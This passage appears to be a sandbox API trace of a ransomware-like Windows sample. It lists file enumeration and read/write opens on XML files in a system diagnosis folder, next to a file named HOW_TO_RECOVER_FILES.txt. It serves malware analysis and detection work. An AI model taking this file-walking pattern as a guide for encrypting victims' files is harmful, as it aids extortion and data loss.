ftLastWriteTime.dwLowDateTime=0xbbb6d045, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418c, dwReserved0=0x0, dwReserved1=0x0, cFileName="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", cAlternateFileName="9984EC~2.XML")) returned 1 [0138.130] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e24298b, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb9eacc8c, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x433c, dwReserved0=0x0, dwReserved1=0x0, cFileName="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", cAlternateFileName="ACAE42~1.XML")) returned 1 [0138.130] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e28ee3c, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xba09c6cc, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x443f, dwReserved0=0x0, dwReserved1=0x0, cFileName="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", cAlternateFileName="ACAE42~2.XML")) returned 1 [0138.130] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e2b5071, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8d3a091, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x442d, dwReserved0=0x0, dwReserved1=0x0, cFileName="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", cAlternateFileName="C08025~1.XML")) returned 1 [0138.130] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77c27a6, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e2db2dd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8c553ea, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4187, dwReserved0=0x0, dwReserved1=0x0, cFileName="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", cAlternateFileName="C08025~2.XML")) returned 1 [0138.130] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77c27a6, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e301522, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbb0b32d3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418b, dwReserved0=0x0, dwReserved1=0x0, cFileName="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", cAlternateFileName="E80C85~1.XML")) returned 1 [0138.130] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77e89d5, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e34d9d0, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbaf35d10, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4172, dwReserved0=0x0, dwReserved1=0x0, cFileName="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", cAlternateFileName="E80C85~2.XML")) returned 1 [0138.130] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c930e8, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e399e7e, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x8507a310, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", cAlternateFileName="E9D217~1.XML")) returned 1 [0138.130] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c930e8, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e458a8d, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x85007c03, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x424c, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", cAlternateFileName="E9D217~2.XML")) returned 1 [0138.130] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc780ec0e, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e4a4f18, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb806a476, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x43ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", cAlternateFileName="FFFD8B~1.XML")) returned 1 [0138.130] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc780ec0e, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb819b5fa, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4443, dwReserved0=0x0, dwReserved1=0x0, cFileName="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", cAlternateFileName="FFFD8B~2.XML")) returned 1 [0138.130] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39fffce8, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x39fffce8, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a0260ae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0138.130] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39fffce8, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x39fffce8, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a0260ae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0138.130] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0138.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0138.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0138.130] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", lpFilePart=0x0) returned 0x60 [0138.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0138.131] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml"), fInfoLevelId=0x0, lpFileInformation=0x39c0770 | out: lpFileInformation=0x39c0770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bfa790, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4de62c84, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x840fae4f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x41c2)) returned 1 [0138.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0138.132] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", lpFilePart=0x0) returned 0x60 [0138.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0138.132] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0138.134] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", lpFilePart=0x0) returned 0x64 [0138.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0138.134] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml"), fInfoLevelId=0x0, lpFileInformation=0x39c1038 | out: lpFileInformation=0x39c1038*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c20a14, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4defb5dd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x840fae4f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x441b)) returned 1 [0138.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0138.854] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", lpFilePart=0x0) returned 0x64 [0138.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0138.855] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0138.857] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", lpFilePart=0x0) returned 0x60 [0138.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0138.857] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml"), fInfoLevelId=0x0, lpFileInformation=0x3a31700 | out: lpFileInformation=0x3a31700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7750111, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4df6de00, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8128f6c, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4180)) returned 1 [0138.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0138.857] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", lpFilePart=0x0) returned 0x60 [0138.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0138.857] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0138.859] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", lpFilePart=0x0) returned 0x64 [0138.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0138.859] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml"), fInfoLevelId=0x0, lpFileInformation=0x3a31fc8 | out: lpFileInformation=0x3a31fc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7750111, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e006640, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb5c02e23, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4187)) returned 1 [0138.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0138.860] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", lpFilePart=0x0) returned 0x64 [0138.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0138.860] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0138.862] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", lpFilePart=0x0) returned 0x60 [0138.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0138.862] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml"), fInfoLevelId=0x0, lpFileInformation=0x3a328b8 | out: lpFileInformation=0x3a328b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c46c2e, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e09efaa, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x8625bd94, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4360)) returned 1 [0138.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0138.862] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", lpFilePart=0x0) returned 0x60 [0138.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0138.862] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0138.864] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", lpFilePart=0x0) returned 0x64 [0138.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0138.864] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml"), fInfoLevelId=0x0, lpFileInformation=0x3a33180 | out: lpFileInformation=0x3a33180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c46c2e, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e0c51fa, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x86556ca1, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4473)) returned 1 [0138.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0138.865] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", lpFilePart=0x0) returned 0x64 [0138.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0138.865] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0138.867] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", lpFilePart=0x0) returned 0x60 [0138.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0138.867] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml"), fInfoLevelId=0x0, lpFileInformation=0x3a33a70 | out: lpFileInformation=0x3a33a70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7776347, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e15dbbf, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbbc2bb3b, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418e)) returned 1 [0138.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0138.867] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", lpFilePart=0x0) returned 0x60 [0138.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0138.867] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0138.869] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", lpFilePart=0x0) returned 0x64 [0138.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0138.869] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml"), fInfoLevelId=0x0, lpFileInformation=0x3a34338 | out: lpFileInformation=0x3a34338*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7776347, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e1f64ee, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbbb6d045, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418c)) returned 1 [0138.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0138.869] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", lpFilePart=0x0) returned 0x64 [0138.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0138.869] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml"), dwDesiredAccess=0xc0000000, 